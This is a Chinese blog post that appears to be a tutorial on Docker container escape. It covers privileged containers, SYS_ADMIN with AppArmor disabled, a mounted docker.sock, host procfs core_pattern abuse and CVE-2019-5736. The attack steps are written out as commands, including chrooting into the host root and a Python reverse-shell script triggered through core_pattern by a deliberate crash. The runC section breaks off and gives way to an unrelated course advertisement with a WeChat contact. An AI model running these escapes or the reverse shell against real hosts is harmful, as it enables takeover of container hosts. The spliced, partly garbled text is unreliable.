Docker容器逃逸_--security-opt apparmor=unconfined(1)

当操作者执行docker run --privileged时,docker将允许容器访问宿主机上的所有设备,可以获取大量设备文件的访问权限,并可以执行mount命令进行挂载。具体来说,攻击者可以直接在容器内部挂载宿主机磁盘,然后将根目录切换过去,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

漏洞利用:

宿主机的磁盘设备信息

可以看到,我们成功挂载了宿主机磁盘设备到/host目录下,并使用chroot指令将容器根目录切换为挂载的宿主机根目录。

2.2 --cap-add=SYS_ADMIN:管理员权限运行容器,攻击者可“基本”从容器内逃逸

除了使用特权模式启动docker会引起docker容器逃逸,使用功能机制也会造成这种情况。

当容器以–cap-add=SYS_ADMIN启动时,容器进程就会被允许执行mount、umount等一系列系统管理命令,如果攻击者此时将外部设备目录挂载在容器中就会发生容器逃逸。

漏洞利用:

–security-opt apparmor=unconfined:由于默认情况下会开启AppArmor配置,从而保证docker以严格模式运行使用权限限制较高。这里改为unconfined表示去除默认的AppArmor配置,即不开启严格模式运行容器。

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 /bin/bash

0x03 不安全挂载导致的容器逃逸

为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提高挂载宿主机目录到虚拟机的功能。容器同样如此,但是将宿主机上的敏感文件或目录挂载到容器内部往往会带来安全问题。

3.1 挂载Docker Socket的情况:攻击者可“基本”从容器内逃逸

Docker Socket是Docker守护进程监听的UNIX域套接字,用来与守护进程通信(查询或下发命令)。如果在攻击者可控的容器内挂载了此套接字文件(/var/run/docker.sock),容器逃逸就会变得很容易。

漏洞利用:
  1. 创建一个容器并挂载/var/run/docker.sock
  2. 在容器内安装docker命令行客户端
  3. 使用此客户端通过docker socket与docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机根目录挂载到新创建的容器内部
  4. 在新容器内执行chroot,将根目录切换到挂载的宿主机根目录

docker run -itd --name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04

进入容器

ls -al /var/run/docker.sock

安装docker-ce-cli

apt-get update
apt-get install ca-certificates curl gnupg lsb-release
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | apt-key add -
apt-get install software-properties-common
apt-get update
add-apt-repository “deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable”
apt-get install docker-ce docker-ce-cli containerd.io

利用此客户端通过docker socket与docker守护进程通信,发送命令创建并运行一个新的容器

docker ps # 可发现此时的返回结果是宿主机上的容器进程
docker run -it -v /:/host ubuntu:18.04 /bin/bash # 创建容器并将宿主机根目录挂载到新创建的容器中
chroot /host # 使用chroot将根目录切换到挂载的宿主机根目录

3.2 挂载宿主机procfs的情况

procfs 是进程文件系统的缩写(proc filesystem),是一个伪文件系统(启动时动态生成的文件系统),它动态反映系统内进程以及其他组件的状态,其中有许多非常敏感、重要的文件。因此将宿主机的procfs挂载到不受控的容器中非常危险,尤其是在该容器内默认启用root权限,且没有为这个容器开启user namespace时。docker默认情况下不会为容器开启user namespace。

procfs中的**/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,如果/proc/sys/kernel/core_pattern**文件中的首个字符是管道符| ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。因此这种逃逸方式可以通过进程崩溃来触发。

攻击者进入一个挂载了宿主机procfs的容器中,具有root权限,然后向宿主机procfs写入payload,接着制造崩溃,触发内存转储。

漏洞利用:
  1. 启动容器,将/proc/sys/kernel/core_pattern挂载到容器的/host/proc/sys/kernel/core_pattern位置。
  2. 通过在容器内执行cat /proc/mounts | grep docker指令,找到当前容器在宿主机下的绝对路径
  3. 在容器内创建反弹shell的/tmp/x.py脚本
  4. 执行echo -e "|$CONTAINER_ABS_PATH/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern指令,使得Linux转储机制在程序发生崩溃时能够顺利找到容器内部的“/tmp/.x.py”。因为攻击者在容器中,“/tmp”是容器中的路径,直接使用echo -e "|/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern无法实现容器逃逸,因为内核在寻找处理内存转储的程序时不会从容器文件系统的根目录开始。
  5. 攻击端机器开启反弹shell监听
  6. 在容器内运行一个可以制造崩溃的程序。

创建并启动一个容器,将/proc/sys/kernel/core_pattern挂载到容器的/host/proc/sys/kernel/core_pattern位置

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04

查找名为core_pattern的文件,如果找到两个,说明可能是挂载了宿主机的procfs

find / -name core_pattern
cat /proc/mounts | grep docker # 返回结果中:workdir=/var/lib/docker/overlay2/5d748dc3bca9db37b2f0d72b2364b4abe4c8b39e878bf1157b407414efae40fe/work

安装vim+gcc

apt-get update -y && apt-get install vim gcc -y

启动一个容器时,会在/var/lib/docker/overlay2目录下生成一层容器层,容器层里面包括diff、link、lower、merged、work目录,而docker容器的目录保存在merged目录中,通过此命令找到当前容器在宿主机下的绝对路径,workdir代表的是docker容器在宿主机中的绝对路径。

创建反弹shell脚本 vim /tmp/.x.py

#!/usr/bin/python3
import os
import pty
import socket
lhost = “IP_ADDRESS”
lport = PORT
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv(“HISTFILE”, ‘/dev/null’)
pty.spawn(“/bin/bash”)

os.remove(‘/tmp/.t.py’)

s.close()
if name == “main”:
main()

chmod 777 /tmp/.x.py
echo -e "|/var/lib/docker/overlay2/5d748dc3bca9db37b2f0d72b2364b4abe4c8b39e878bf1157b407414efae40fe/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern

攻击端机器开启监听。

在容器内创建一段可以崩溃的程序 vim x.c

#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}

编译执行

gcc x.c -o x
./x

0x04 相关程序漏洞导致的容器逃逸

相关程序漏洞指的是参与到容器生态中的服务端、客户端程序自身存在的漏洞。下图展示了操作系统之上的容器及容器集群环境的程序组件。

4.1 CVE-2019-5736:覆盖宿主机上的runC文件

在容器世界中,真正负责创建、修改和销毁容器的组件实际上是容器运行时

当我们执行如docker exec等命令时,底层实际上是容器运行时在操作。例如runC,相应地,runc exec命令会被执行。最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受到各种限制(如cgroups)的情况下,启动一个进程。除此以外,这个操作与宿主机上执行一个程序并无二致。

执行过程大体是这样的:runc启动,加入到容器的命名空间,接着以自身(/proc/self/exe)为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。

  • /proc/[PID]/exe:它是一种特殊的符号链接,又被称为magic links,

指向进程自身对应的本地程序文件 (例如我们执行 ls,/proc/[PID]/exe 就指向 /bin/ls)。它的特殊之处在于,当打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符(file descriptor),而非传统的打开方式做路径解析和文件查找。这样一来,它实际上绕过了 mnt 命名空间及 chroot 对一个进程能够访问到的文件路径的限制。

  • /proc/[PID]/fd/:这个目录下包含了进程打开的所有文件描述符。

那么,在runc exec加入到容器的命名空间之后,容器内进程已经能够通过内部/proc观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖掉。这样一来,下一次用户调用runc去执行命令时,实际执行的将是攻击者放置的指令。

漏洞原理及利用思路如下:

runC在对容器的整个生存周期进行管理时,它不可避免地会加入到容器中进行一些行为,比如执行runc run创建容器,以及执行runc exec指令帮助用户对容器进行操作时,它都需要先加入到容器内部执行一些操作。当它加入到容器后,容器内的攻击者可以看到/proc目录下的runc进程,进而使用此进程的magic links这种特殊的符号链接找到宿主机上的runc程序,从而对该程序进行写入,实现写runc操作。

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

mg.cn/15c1192cad414044b4dd41f3df44433d.png)在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-6uH8xsk4-1712656783049)]

  • 16
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值